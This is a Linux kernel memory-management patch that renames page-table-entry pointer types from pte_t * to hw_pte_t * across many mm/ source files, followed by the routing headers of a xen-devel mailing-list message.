diff --git a/mm/mlock.c b/mm/mlock.c
index efa6716e4dfbd..36002b80382a9 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -305,7 +305,7 @@ void munlock_folio(struct folio *folio)
 }
 
 static inline unsigned int folio_mlock_step(struct folio *folio,
-		pte_t *pte, unsigned long addr, unsigned long end)
+		hw_pte_t *pte, unsigned long addr, unsigned long end)
 {
 	unsigned int count = (end - addr) >> PAGE_SHIFT;
 	pte_t ptent = ptep_get(pte);
@@ -353,7 +353,7 @@ static int mlock_pte_range(pmd_t *pmd, unsigned long addr,
 {
 	struct vm_area_struct *vma = walk->vma;
 	spinlock_t *ptl;
-	pte_t *start_pte, *pte;
+	hw_pte_t *start_pte, *pte;
 	pte_t ptent;
 	struct folio *folio;
 	unsigned int step = 1;
diff --git a/mm/mprotect.c b/mm/mprotect.c
index 2888ee638d872..1d23475e0bb76 100644
--- a/mm/mprotect.c
+++ b/mm/mprotect.c
@@ -103,7 +103,7 @@ bool can_change_pte_writable(struct vm_area_struct *vma, unsigned long addr,
 	return can_change_shared_pte_writable(vma, pte);
 }
 
-static int mprotect_folio_pte_batch(struct folio *folio, pte_t *ptep,
+static int mprotect_folio_pte_batch(struct folio *folio, hw_pte_t *ptep,
 				    pte_t pte, int max_nr_ptes, fpb_t flags)
 {
 	/* No underlying folio, so cannot batch */
@@ -118,7 +118,7 @@ static int mprotect_folio_pte_batch(struct folio *folio, pte_t *ptep,
 
 /* Set nr_ptes number of ptes, starting from idx */
 static __always_inline void prot_commit_flush_ptes(struct vm_area_struct *vma,
-		unsigned long addr, pte_t *ptep, pte_t oldpte, pte_t ptent,
+		unsigned long addr, hw_pte_t *ptep, pte_t oldpte, pte_t ptent,
 		int nr_ptes, int idx, bool set_write, struct mmu_gather *tlb)
 {
 	/*
@@ -170,7 +170,7 @@ static __always_inline int page_anon_exclusive_batch(int start_idx, int max_len,
  * retrieve sub-batches.
  */
 static __always_inline void commit_anon_folio_batch(struct vm_area_struct *vma,
-		struct folio *folio, struct page *first_page, unsigned long addr, pte_t *ptep,
+		struct folio *folio, struct page *first_page, unsigned long addr, hw_pte_t *ptep,
 		pte_t oldpte, pte_t ptent, int nr_ptes, struct mmu_gather *tlb)
 {
 	bool expected_anon_exclusive;
@@ -189,7 +189,7 @@ static __always_inline void commit_anon_folio_batch(struct vm_area_struct *vma,
 }
 
 static __always_inline void set_write_prot_commit_flush_ptes(struct vm_area_struct *vma,
-		struct folio *folio, struct page *page, unsigned long addr, pte_t *ptep,
+		struct folio *folio, struct page *page, unsigned long addr, hw_pte_t *ptep,
 		pte_t oldpte, pte_t ptent, int nr_ptes, struct mmu_gather *tlb)
 {
 	bool set_write;
@@ -212,7 +212,7 @@ static __always_inline void set_write_prot_commit_flush_ptes(struct vm_area_stru
 }
 
 static long change_softleaf_pte(struct vm_area_struct *vma,
-	unsigned long addr, pte_t *pte, pte_t oldpte, unsigned long cp_flags)
+	unsigned long addr, hw_pte_t *pte, pte_t oldpte, unsigned long cp_flags)
 {
 	const bool uffd_prot = cp_flags & (MM_CP_UFFD_WP | MM_CP_UFFD_RWP);
 	const bool uffd_prot_resolve = cp_flags &
@@ -279,7 +279,7 @@ static long change_softleaf_pte(struct vm_area_struct *vma,
 }
 
 static __always_inline void change_present_ptes(struct mmu_gather *tlb,
-		struct vm_area_struct *vma, unsigned long addr, pte_t *ptep,
+		struct vm_area_struct *vma, unsigned long addr, hw_pte_t *ptep,
 		int nr_ptes, unsigned long end, pgprot_t newprot,
 		struct folio *folio, struct page *page, unsigned long cp_flags)
 {
@@ -332,7 +332,8 @@ static long change_pte_range(struct mmu_gather *tlb,
 		struct vm_area_struct *vma, pmd_t *pmd, unsigned long addr,
 		unsigned long end, pgprot_t newprot, unsigned long cp_flags)
 {
-	pte_t *pte, oldpte;
+	hw_pte_t *pte;
+	pte_t oldpte;
 	spinlock_t *ptl;
 	long pages = 0;
 	bool is_private_single_threaded;
@@ -727,7 +728,7 @@ long change_protection(struct mmu_gather *tlb,
 	return pages;
 }
 
-static int prot_none_pte_entry(pte_t *pte, unsigned long addr,
+static int prot_none_pte_entry(hw_pte_t *pte, unsigned long addr,
 			       unsigned long next, struct mm_walk *walk)
 {
 	return pfn_modify_allowed(pte_pfn(ptep_get(pte)),
@@ -736,7 +737,7 @@ static int prot_none_pte_entry(pte_t *pte, unsigned long addr,
 }
 
 #ifdef CONFIG_HUGETLB_PAGE
-static int prot_none_hugetlb_entry(pte_t *pte, unsigned long hmask,
+static int prot_none_hugetlb_entry(hw_pte_t *pte, unsigned long hmask,
 				   unsigned long addr, unsigned long next,
 				   struct mm_walk *walk)
 {
diff --git a/mm/mremap.c b/mm/mremap.c
index f07fc4e3ef2e6..d966ee8248b6b 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -176,7 +176,7 @@ static pte_t move_soft_dirty_pte(pte_t pte)
 }
 
 static int mremap_folio_pte_batch(struct vm_area_struct *vma, unsigned long addr,
-		pte_t *ptep, pte_t pte, int max_nr)
+		hw_pte_t *ptep, pte_t pte, int max_nr)
 {
 	struct folio *folio;
 
@@ -200,7 +200,7 @@ static int move_ptes(struct pagetable_move_control *pmc,
 	struct vm_area_struct *vma = pmc->old;
 	bool need_clear_uffd_wp = vma_has_uffd_without_event_remap(vma);
 	struct mm_struct *mm = vma->vm_mm;
-	pte_t *old_ptep, *new_ptep;
+	hw_pte_t *old_ptep, *new_ptep;
 	pte_t old_pte, pte;
 	pmd_t dummy_pmdval;
 	spinlock_t *old_ptl, *new_ptl;
diff --git a/mm/page_table_check.c b/mm/page_table_check.c
index 6ffc536359cd0..70984b4e3cde3 100644
--- a/mm/page_table_check.c
+++ b/mm/page_table_check.c
@@ -208,7 +208,7 @@ static void page_table_check_pte_flags(pte_t pte)
 }
 
 void __page_table_check_ptes_set(struct mm_struct *mm, unsigned long addr,
-				 pte_t *ptep, pte_t pte, unsigned int nr)
+				 hw_pte_t *ptep, pte_t pte, unsigned int nr)
 {
 	unsigned int i;
 
@@ -279,7 +279,7 @@ void __page_table_check_pte_clear_range(struct mm_struct *mm,
 		return;
 
 	if (!pmd_bad(pmd) && !pmd_leaf(pmd)) {
-		pte_t *ptep = pte_offset_map(&pmd, addr);
+		hw_pte_t *ptep = pte_offset_map(&pmd, addr);
 		unsigned long i;
 
 		if (WARN_ON(!ptep))
diff --git a/mm/pagewalk.c b/mm/pagewalk.c
index ed4860c01936c..172addf9e6558 100644
--- a/mm/pagewalk.c
+++ b/mm/pagewalk.c
@@ -26,7 +26,7 @@ static int real_depth(int depth)
 	return depth;
 }
 
-static int walk_pte_range_inner(pte_t *pte, unsigned long addr,
+static int walk_pte_range_inner(hw_pte_t *pte, unsigned long addr,
 				unsigned long end, struct mm_walk *walk)
 {
 	const struct mm_walk_ops *ops = walk->ops;
@@ -61,7 +61,7 @@ static int walk_pte_range_inner(pte_t *pte, unsigned long addr,
 static int walk_pte_range(pmd_t *pmd, unsigned long addr, unsigned long end,
 			  struct mm_walk *walk)
 {
-	pte_t *pte;
+	hw_pte_t *pte;
 	int err = 0;
 	spinlock_t *ptl;
 
@@ -343,7 +343,7 @@ static int walk_hugetlb_range(unsigned long addr, unsigned long end,
 	unsigned long next;
 	unsigned long hmask = huge_page_mask(h);
 	unsigned long sz = huge_page_size(h);
-	pte_t *pte;
+	hw_pte_t *pte;
 	const struct mm_walk_ops *ops = walk->ops;
 	int err = 0;
 
@@ -909,7 +909,8 @@ struct folio *folio_walk_start(struct folio_walk *fw,
 	struct page *page;
 	pud_t *pudp, pud;
 	pmd_t *pmdp, pmd;
-	pte_t *ptep, pte;
+	hw_pte_t *ptep;
+	pte_t pte;
 	spinlock_t *ptl;
 	pgd_t *pgdp;
 	p4d_t *p4dp;
diff --git a/mm/percpu.c b/mm/percpu.c
index a802d72c116fb..fa79a1295c5bf 100644
--- a/mm/percpu.c
+++ b/mm/percpu.c
@@ -3176,7 +3176,7 @@ void __init __weak pcpu_populate_pte(unsigned long addr)
 
 	pmd = pmd_offset(pud, addr);
 	if (!pmd_present(*pmd)) {
-		pte_t *new;
+		hw_pte_t *new;
 
 		new = memblock_alloc_or_panic(PTE_TABLE_SIZE, PTE_TABLE_SIZE);
 		pmd_populate_kernel(&init_mm, pmd, new);
diff --git a/mm/pgtable-generic.c b/mm/pgtable-generic.c
index b91b1a98029c7..52f286da3eec6 100644
--- a/mm/pgtable-generic.c
+++ b/mm/pgtable-generic.c
@@ -68,7 +68,7 @@ void pmd_clear_bad(pmd_t *pmd)
  * force that call on sun4c so we changed this macro slightly
  */
 int ptep_set_access_flags(struct vm_area_struct *vma,
-			  unsigned long address, pte_t *ptep,
+			  unsigned long address, hw_pte_t *ptep,
 			  pte_t entry, int dirty)
 {
 	int changed = !pte_same(ptep_get(ptep), entry);
@@ -82,7 +82,7 @@ int ptep_set_access_flags(struct vm_area_struct *vma,
 
 #ifndef __HAVE_ARCH_PTEP_CLEAR_YOUNG_FLUSH
 bool ptep_clear_flush_young(struct vm_area_struct *vma,
-		unsigned long address, pte_t *ptep)
+		unsigned long address, hw_pte_t *ptep)
 {
 	bool young;
 
@@ -95,7 +95,7 @@ bool ptep_clear_flush_young(struct vm_area_struct *vma,
 
 #ifndef __HAVE_ARCH_PTEP_CLEAR_FLUSH
 pte_t ptep_clear_flush(struct vm_area_struct *vma, unsigned long address,
-		       pte_t *ptep)
+		       hw_pte_t *ptep)
 {
 	struct mm_struct *mm = (vma)->vm_mm;
 	pte_t pte;
@@ -282,7 +282,7 @@ static unsigned long pmdp_get_lockless_start(void) { return 0; }
 static void pmdp_get_lockless_end(unsigned long irqflags) { }
 #endif
 
-pte_t *__pte_offset_map(pmd_t *pmd, unsigned long addr, pmd_t *pmdvalp)
+hw_pte_t *__pte_offset_map(pmd_t *pmd, unsigned long addr, pmd_t *pmdvalp)
 {
 	unsigned long irqflags;
 	pmd_t pmdval;
@@ -308,11 +308,11 @@ pte_t *__pte_offset_map(pmd_t *pmd, unsigned long addr, pmd_t *pmdvalp)
 	return NULL;
 }
 
-pte_t *pte_offset_map_ro_nolock(struct mm_struct *mm, pmd_t *pmd,
+hw_pte_t *pte_offset_map_ro_nolock(struct mm_struct *mm, pmd_t *pmd,
 				unsigned long addr, spinlock_t **ptlp)
 {
 	pmd_t pmdval;
-	pte_t *pte;
+	hw_pte_t *pte;
 
 	pte = __pte_offset_map(pmd, addr, &pmdval);
 	if (likely(pte))
@@ -320,11 +320,11 @@ pte_t *pte_offset_map_ro_nolock(struct mm_struct *mm, pmd_t *pmd,
 	return pte;
 }
 
-pte_t *pte_offset_map_rw_nolock(struct mm_struct *mm, pmd_t *pmd,
+hw_pte_t *pte_offset_map_rw_nolock(struct mm_struct *mm, pmd_t *pmd,
 				unsigned long addr, pmd_t *pmdvalp,
 				spinlock_t **ptlp)
 {
-	pte_t *pte;
+	hw_pte_t *pte;
 
 	VM_WARN_ON_ONCE(!pmdvalp);
 	pte = __pte_offset_map(pmd, addr, pmdvalp);
@@ -390,12 +390,12 @@ pte_t *pte_offset_map_rw_nolock(struct mm_struct *mm, pmd_t *pmd,
  * table, and may not use RCU at all: "outsiders" like khugepaged should avoid
  * pte_offset_map() and co once the vma is detached from mm or mm_users is zero.
  */
-pte_t *pte_offset_map_lock(struct mm_struct *mm, pmd_t *pmd,
+hw_pte_t *pte_offset_map_lock(struct mm_struct *mm, pmd_t *pmd,
 			   unsigned long addr, spinlock_t **ptlp)
 {
 	spinlock_t *ptl;
 	pmd_t pmdval;
-	pte_t *pte;
+	hw_pte_t *pte;
 again:
 	pte = __pte_offset_map(pmd, addr, &pmdval);
 	if (unlikely(!pte))
diff --git a/mm/ptdump.c b/mm/ptdump.c
index 5851096e6f656..376880071ca2a 100644
--- a/mm/ptdump.c
+++ b/mm/ptdump.c
@@ -117,7 +117,7 @@ static int ptdump_pmd_entry(pmd_t *pmd, unsigned long addr,
 	return 0;
 }
 
-static int ptdump_pte_entry(pte_t *pte, unsigned long addr,
+static int ptdump_pte_entry(hw_pte_t *pte, unsigned long addr,
 			    unsigned long next, struct mm_walk *walk)
 {
 	struct ptdump_state *st = walk->private;
diff --git a/mm/rmap.c b/mm/rmap.c
index b7ead3e9f0641..591793d11ed1b 100644
--- a/mm/rmap.c
+++ b/mm/rmap.c
@@ -1124,7 +1124,7 @@ static int page_vma_mkclean_one(struct page_vma_mapped_walk *pvmw)
 
 		address = pvmw->address;
 		if (pvmw->pte) {
-			pte_t *pte = pvmw->pte;
+			hw_pte_t *pte = pvmw->pte;
 			pte_t entry = ptep_get(pte);
 
 			/*
@@ -2141,7 +2141,7 @@ static pte_t swp_pte_prepare(swp_entry_t entry, pte_t old_pte,
 
 static bool ttu_anon_swapbacked_folio(struct vm_area_struct *vma,
 		struct folio *folio, struct page *page, unsigned long address,
-		pte_t *ptep, pte_t pteval)
+		hw_pte_t *ptep, pte_t pteval)
 {
 	const bool anon_exclusive = folio_test_anon(folio) &&
 				    PageAnonExclusive(page);
@@ -2176,7 +2176,7 @@ static bool ttu_anon_swapbacked_folio(struct vm_area_struct *vma,
 }
 
 static bool ttu_anon_folio(struct vm_area_struct *vma, struct folio *folio,
-		struct page *page, unsigned long address, pte_t *ptep,
+		struct page *page, unsigned long address, hw_pte_t *ptep,
 		pte_t pteval, unsigned long nr_pages)
 {
 	/*
diff --git a/mm/sparse-vmemmap.c b/mm/sparse-vmemmap.c
index 5a2469fb1838c..2bbf7adef511d 100644
--- a/mm/sparse-vmemmap.c
+++ b/mm/sparse-vmemmap.c
@@ -137,7 +137,7 @@ static void * __meminit altmap_alloc_block_buf(unsigned long size,
 	return __va(__pfn_to_phys(pfn));
 }
 
-void __meminit vmemmap_verify(pte_t *pte, int node,
+void __meminit vmemmap_verify(hw_pte_t *pte, int node,
 				unsigned long start, unsigned long end)
 {
 	unsigned long pfn = pte_pfn(ptep_get(pte));
@@ -148,11 +148,11 @@ void __meminit vmemmap_verify(pte_t *pte, int node,
 			start, end - 1);
 }
 
-static pte_t * __meminit vmemmap_pte_populate(pmd_t *pmd, unsigned long addr, int node,
+static hw_pte_t * __meminit vmemmap_pte_populate(pmd_t *pmd, unsigned long addr, int node,
 				       struct vmem_altmap *altmap,
 				       unsigned long ptpfn, unsigned long flags)
 {
-	pte_t *pte = pte_offset_kernel(pmd, addr);
+	hw_pte_t *pte = pte_offset_kernel(pmd, addr);
 	if (pte_none(ptep_get(pte))) {
 		pte_t entry;
 		void *p;
@@ -243,7 +243,7 @@ static pgd_t * __meminit vmemmap_pgd_populate(unsigned long addr, int node)
 	return pgd;
 }
 
-static pte_t * __meminit vmemmap_populate_address(unsigned long addr, int node,
+static hw_pte_t * __meminit vmemmap_populate_address(unsigned long addr, int node,
 					      struct vmem_altmap *altmap,
 					      unsigned long ptpfn,
 					      unsigned long flags)
@@ -252,7 +252,7 @@ static pte_t * __meminit vmemmap_populate_address(unsigned long addr, int node,
 	p4d_t *p4d;
 	pud_t *pud;
 	pmd_t *pmd;
-	pte_t *pte;
+	hw_pte_t *pte;
 
 	pgd = vmemmap_pgd_populate(addr, node);
 	if (!pgd)
@@ -281,7 +281,7 @@ static int __meminit vmemmap_populate_range(unsigned long start,
 					    unsigned long flags)
 {
 	unsigned long addr = start;
-	pte_t *pte;
+	hw_pte_t *pte;
 
 	for (; addr < end; addr += PAGE_SIZE) {
 		pte = vmemmap_populate_address(addr, node, altmap,
@@ -314,7 +314,7 @@ void vmemmap_wrprotect_hvo(unsigned long addr, unsigned long end,
 				    int node, unsigned long headsize)
 {
 	unsigned long maddr;
-	pte_t *pte;
+	hw_pte_t *pte;
 
 	for (maddr = addr + headsize; maddr < end; maddr += PAGE_SIZE) {
 		pte = virt_to_kpte(maddr);
@@ -364,7 +364,7 @@ int __meminit vmemmap_populate_hvo(unsigned long addr, unsigned long end,
 {
 	unsigned long maddr;
 	struct page *tail;
-	pte_t *pte;
+	hw_pte_t *pte;
 	int node = zone_to_nid(zone);
 
 	tail = vmemmap_get_tail(order, zone);
@@ -396,7 +396,7 @@ int __weak __meminit vmemmap_check_pmd(pmd_t *pmd, int node,
 {
 	if (!pmd_leaf(pmdp_get(pmd)))
 		return 0;
-	vmemmap_verify((pte_t *)pmd, node, addr, next);
+	vmemmap_verify((hw_pte_t *)pmd, node, addr, next);
 
 	return 1;
 }
@@ -474,9 +474,9 @@ static bool __meminit reuse_compound_section(unsigned long start_pfn,
 	return !IS_ALIGNED(offset, nr_pages) && nr_pages > PAGES_PER_SUBSECTION;
 }
 
-static pte_t * __meminit compound_section_tail_page(unsigned long addr)
+static hw_pte_t * __meminit compound_section_tail_page(unsigned long addr)
 {
-	pte_t *pte;
+	hw_pte_t *pte;
 
 	addr -= PAGE_SIZE;
 
@@ -497,7 +497,7 @@ static int __meminit vmemmap_populate_compound_pages(unsigned long start_pfn,
 						     struct dev_pagemap *pgmap)
 {
 	unsigned long size, addr;
-	pte_t *pte;
+	hw_pte_t *pte;
 	int rc;
 
 	if (reuse_compound_section(start_pfn, pgmap)) {
diff --git a/mm/swap_state.c b/mm/swap_state.c
index 5be825911e645..cb1b2d434a581 100644
--- a/mm/swap_state.c
+++ b/mm/swap_state.c
@@ -917,7 +917,8 @@ static struct folio *swap_vma_readahead(swp_entry_t targ_entry, gfp_t gfp_mask,
 	struct swap_io_ctx ctx = {};
 	struct blk_plug plug;
 	struct folio *folio;
-	pte_t *pte = NULL, pentry;
+	hw_pte_t *pte = NULL;
+	pte_t pentry;
 	int win;
 	unsigned long start, end, addr;
 	pgoff_t ilx = targ_ilx;
diff --git a/mm/swapfile.c b/mm/swapfile.c
index 5d15913dcf863..50f06a444ec1d 100644
--- a/mm/swapfile.c
+++ b/mm/swapfile.c
@@ -2476,7 +2476,8 @@ static int unuse_pte(struct vm_area_struct *vma, pmd_t *pmd,
 	struct page *page;
 	struct folio *swapcache;
 	spinlock_t *ptl;
-	pte_t *pte, new_pte, old_pte;
+	hw_pte_t *pte;
+	pte_t new_pte, old_pte;
 	bool hwpoisoned = false;
 	int ret = 1;
 
@@ -2587,7 +2588,7 @@ static int unuse_pte_range(struct vm_area_struct *vma, pmd_t *pmd,
 			unsigned long addr, unsigned long end,
 			unsigned int type)
 {
-	pte_t *pte = NULL;
+	hw_pte_t *pte = NULL;
 
 	do {
 		struct folio *folio;
diff --git a/mm/userfaultfd.c b/mm/userfaultfd.c
index 258b03182a780..f22cfb2ccb07d 100644
--- a/mm/userfaultfd.c
+++ b/mm/userfaultfd.c
@@ -361,13 +361,13 @@ static int mfill_atomic_install_pte(pmd_t *dst_pmd,
 {
 	int ret;
 	struct mm_struct *dst_mm = dst_vma->vm_mm;
-	pte_t _dst_pte, *dst_pte;
+	hw_pte_t *dst_pte;
 	bool writable = dst_vma->vm_flags & VM_WRITE;
 	bool vm_shared = dst_vma->vm_flags & VM_SHARED;
 	spinlock_t *ptl;
 	struct folio *folio = page_folio(page);
 	bool page_in_cache = folio_mapping(folio);
-	pte_t dst_ptep;
+	pte_t _dst_pte, dst_ptep;
 
 	_dst_pte = mk_pte(page, dst_vma->vm_page_prot);
 	_dst_pte = pte_mkdirty(_dst_pte);
@@ -656,7 +656,8 @@ static int mfill_atomic_pte_zeropage(struct mfill_state *state)
 	struct vm_area_struct *dst_vma = state->vma;
 	unsigned long dst_addr = state->dst_addr;
 	pmd_t *dst_pmd = state->pmd;
-	pte_t _dst_pte, *dst_pte;
+	hw_pte_t *dst_pte;
+	pte_t _dst_pte;
 	spinlock_t *ptl;
 	int ret;
 
@@ -737,7 +738,8 @@ static int mfill_atomic_pte_poison(struct mfill_state *state)
 	struct mm_struct *dst_mm = dst_vma->vm_mm;
 	unsigned long dst_addr = state->dst_addr;
 	pmd_t *dst_pmd = state->pmd;
-	pte_t _dst_pte, *dst_pte;
+	hw_pte_t *dst_pte;
+	pte_t _dst_pte;
 	spinlock_t *ptl;
 	int ret;
 
@@ -784,7 +786,7 @@ static __always_inline ssize_t mfill_atomic_hugetlb(
 {
 	struct mm_struct *dst_mm = dst_vma->vm_mm;
 	ssize_t err;
-	pte_t *dst_pte;
+	hw_pte_t *dst_pte;
 	unsigned long src_addr, dst_addr;
 	long copied;
 	struct folio *folio;
@@ -1261,7 +1263,7 @@ void double_pt_unlock(spinlock_t *ptl1,
 		__release(ptl2);
 }
 
-static inline bool is_pte_pages_stable(pte_t *dst_pte, pte_t *src_pte,
+static inline bool is_pte_pages_stable(hw_pte_t *dst_pte, hw_pte_t *src_pte,
 				       pte_t orig_dst_pte, pte_t orig_src_pte,
 				       pmd_t *dst_pmd, pmd_t dst_pmdval)
 {
@@ -1279,7 +1281,8 @@ static inline bool is_pte_pages_stable(pte_t *dst_pte, pte_t *src_pte,
  */
 static struct folio *check_ptes_for_batched_move(struct vm_area_struct *src_vma,
 						 unsigned long src_addr,
-						 pte_t *src_pte, pte_t *dst_pte)
+						 hw_pte_t *src_pte,
+						 hw_pte_t *dst_pte)
 {
 	pte_t orig_dst_pte, orig_src_pte;
 	struct folio *folio;
@@ -1310,7 +1313,7 @@ static long move_present_ptes(struct mm_struct *mm,
 			      struct vm_area_struct *dst_vma,
 			      struct vm_area_struct *src_vma,
 			      unsigned long dst_addr, unsigned long src_addr,
-			      pte_t *dst_pte, pte_t *src_pte,
+			      hw_pte_t *dst_pte, hw_pte_t *src_pte,
 			      pte_t orig_dst_pte, pte_t orig_src_pte,
 			      pmd_t *dst_pmd, pmd_t dst_pmdval,
 			      spinlock_t *dst_ptl, spinlock_t *src_ptl,
@@ -1398,7 +1401,7 @@ static long move_present_ptes(struct mm_struct *mm,
 
 static int move_swap_pte(struct mm_struct *mm, struct vm_area_struct *dst_vma,
 			 unsigned long dst_addr, unsigned long src_addr,
-			 pte_t *dst_pte, pte_t *src_pte,
+			 hw_pte_t *dst_pte, hw_pte_t *src_pte,
 			 pte_t orig_dst_pte, pte_t orig_src_pte,
 			 pmd_t *dst_pmd, pmd_t dst_pmdval,
 			 spinlock_t *dst_ptl, spinlock_t *src_ptl,
@@ -1464,7 +1467,7 @@ static int move_zeropage_pte(struct mm_struct *mm,
 			     struct vm_area_struct *dst_vma,
 			     struct vm_area_struct *src_vma,
 			     unsigned long dst_addr, unsigned long src_addr,
-			     pte_t *dst_pte, pte_t *src_pte,
+			     hw_pte_t *dst_pte, hw_pte_t *src_pte,
 			     pte_t orig_dst_pte, pte_t orig_src_pte,
 			     pmd_t *dst_pmd, pmd_t dst_pmdval,
 			     spinlock_t *dst_ptl, spinlock_t *src_ptl)
@@ -1510,8 +1513,8 @@ static long move_pages_ptes(struct mm_struct *mm, pmd_t *dst_pmd, pmd_t *src_pmd
 	pte_t orig_src_pte, orig_dst_pte;
 	pte_t src_folio_pte;
 	spinlock_t *src_ptl, *dst_ptl;
-	pte_t *src_pte = NULL;
-	pte_t *dst_pte = NULL;
+	hw_pte_t *src_pte = NULL;
+	hw_pte_t *dst_pte = NULL;
 	pmd_t dummy_pmdval;
 	pmd_t dst_pmdval;
 	struct folio *src_folio = NULL;
@@ -2658,7 +2661,8 @@ static inline bool userfaultfd_huge_must_wait(struct userfaultfd_ctx *ctx,
 					      unsigned long reason)
 {
 	struct vm_area_struct *vma = vmf->vma;
-	pte_t *ptep, pte;
+	hw_pte_t *ptep;
+	pte_t pte;
 
 	assert_fault_locked(vmf);
 
@@ -2731,7 +2735,7 @@ static inline bool userfaultfd_must_wait(struct userfaultfd_ctx *ctx,
 	p4d_t *p4d;
 	pud_t *pud;
 	pmd_t *pmd, _pmd;
-	pte_t *pte;
+	hw_pte_t *pte;
 	pte_t ptent;
 	bool ret;
 
diff --git a/mm/util.c b/mm/util.c
index bf0513d1d3d08..cc253050f6892 100644
--- a/mm/util.c
+++ b/mm/util.c
@@ -1564,7 +1564,7 @@ EXPORT_SYMBOL(mmap_action_complete);
  *
  * Return: the number of table entries in the batch.
  */
-unsigned int folio_pte_batch(struct folio *folio, pte_t *ptep, pte_t pte,
+unsigned int folio_pte_batch(struct folio *folio, hw_pte_t *ptep, pte_t pte,
 		unsigned int max_nr)
 {
 	return folio_pte_batch_flags(folio, NULL, ptep, &pte, max_nr, 0);
diff --git a/mm/vmalloc.c b/mm/vmalloc.c
index 26f32949c2f2e..711bb192af59f 100644
--- a/mm/vmalloc.c
+++ b/mm/vmalloc.c
@@ -100,7 +100,7 @@ static DEFINE_PER_CPU(struct vfree_deferred, vfree_deferred);
  *
  * Return: mapping size.
  */
-static __always_inline unsigned long vmap_set_ptes(pte_t *pte,
+static __always_inline unsigned long vmap_set_ptes(hw_pte_t *pte,
 		unsigned long addr, unsigned long end, u64 pfn,
 		pgprot_t prot, unsigned int max_page_shift)
 {
@@ -124,7 +124,7 @@ static int vmap_pte_range(pmd_t *pmd, unsigned long addr, unsigned long end,
 			phys_addr_t phys_addr, pgprot_t prot,
 			unsigned int max_page_shift, pgtbl_mod_mask *mask)
 {
-	pte_t *pte;
+	hw_pte_t *pte;
 	u64 pfn;
 	struct page *page;
 	unsigned long size;
@@ -406,7 +406,7 @@ int ioremap_page_range(unsigned long addr, unsigned long end,
 static void vunmap_pte_range(pmd_t *pmd, unsigned long addr, unsigned long end,
 			     pgtbl_mod_mask *mask)
 {
-	pte_t *pte;
+	hw_pte_t *pte;
 	pte_t ptent;
 	unsigned long size = PAGE_SIZE;
 
@@ -569,7 +569,7 @@ static int vmap_pages_pte_range(pmd_t *pmd, unsigned long addr,
 	unsigned long pfn, size;
 	unsigned int steps;
 	int err = 0;
-	pte_t *pte;
+	hw_pte_t *pte;
 
 	/*
 	 * nr is a running index into the array which helps higher level
@@ -862,7 +862,8 @@ struct page *vmalloc_to_page(const void *vmalloc_addr)
 	p4d_t *p4d;
 	pud_t *pud;
 	pmd_t *pmd;
-	pte_t *ptep, pte;
+	hw_pte_t *ptep;
+	pte_t pte;
 
 	/*
 	 * XXX we might need to change this if we add VIRTUAL_BUG_ON for
@@ -3760,7 +3761,7 @@ struct vmap_pfn_data {
 	unsigned int	idx;
 };
 
-static int vmap_pfn_apply(pte_t *pte, unsigned long addr, void *private)
+static int vmap_pfn_apply(hw_pte_t *pte, unsigned long addr, void *private)
 {
 	struct vmap_pfn_data *data = private;
 	unsigned long pfn = data->pfns[data->idx];
diff --git a/mm/vmscan.c b/mm/vmscan.c
index 17d2b793cbfc4..85b6ab60d830b 100644
--- a/mm/vmscan.c
+++ b/mm/vmscan.c
@@ -3539,7 +3539,7 @@ static bool walk_pte_range(pmd_t *pmd, unsigned long start, unsigned long end,
 {
 	int i;
 	bool dirty;
-	pte_t *pte;
+	hw_pte_t *pte;
 	spinlock_t *ptl;
 	unsigned long addr;
 	int total = 0;
@@ -3572,7 +3572,7 @@ static bool walk_pte_range(pmd_t *pmd, unsigned long start, unsigned long end,
 	for (i = pte_index(start), addr = start; addr != end; i += nr, addr += nr * PAGE_SIZE) {
 		unsigned long pfn;
 		struct folio *folio;
-		pte_t *cur_pte = pte + i;
+		hw_pte_t *cur_pte = pte + i;
 		pte_t ptent = ptep_get(cur_pte);
 
 		nr = 1;
@@ -4261,7 +4261,7 @@ bool lru_gen_look_around(struct page_vma_mapped_walk *pvmw, unsigned int nr)
 	struct lru_gen_mm_walk *walk;
 	struct folio *last = NULL;
 	int young = 1;
-	pte_t *pte = pvmw->pte;
+	hw_pte_t *pte = pvmw->pte;
 	unsigned long addr = pvmw->address;
 	struct vm_area_struct *vma = pvmw->vma;
 	struct folio *folio = pfn_folio(pvmw->pfn);
-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371797.1619282 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcI-0007lY-7A; Mon, 27 Jul 2026 16:55:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371797.1619282; Mon, 27 Jul 2026 16:55:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcH-0007jN-Uz; Mon, 27 Jul 2026 16:55:49 +0000
Received: by outflank-mailman (input) for mailman id 1371797;
 Mon, 27 Jul 2026 16:47:56 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOUe-0005hq-0r
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:47:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOUc-008hCR-Uq
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:47:55 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678b9f-5cb7-0a2a0a5109dd-0a2a4509c1d6-44
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:47:54 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bba-be1a-0a2a45090019-d98c6eaca880-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:47:54 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 6328C1756;
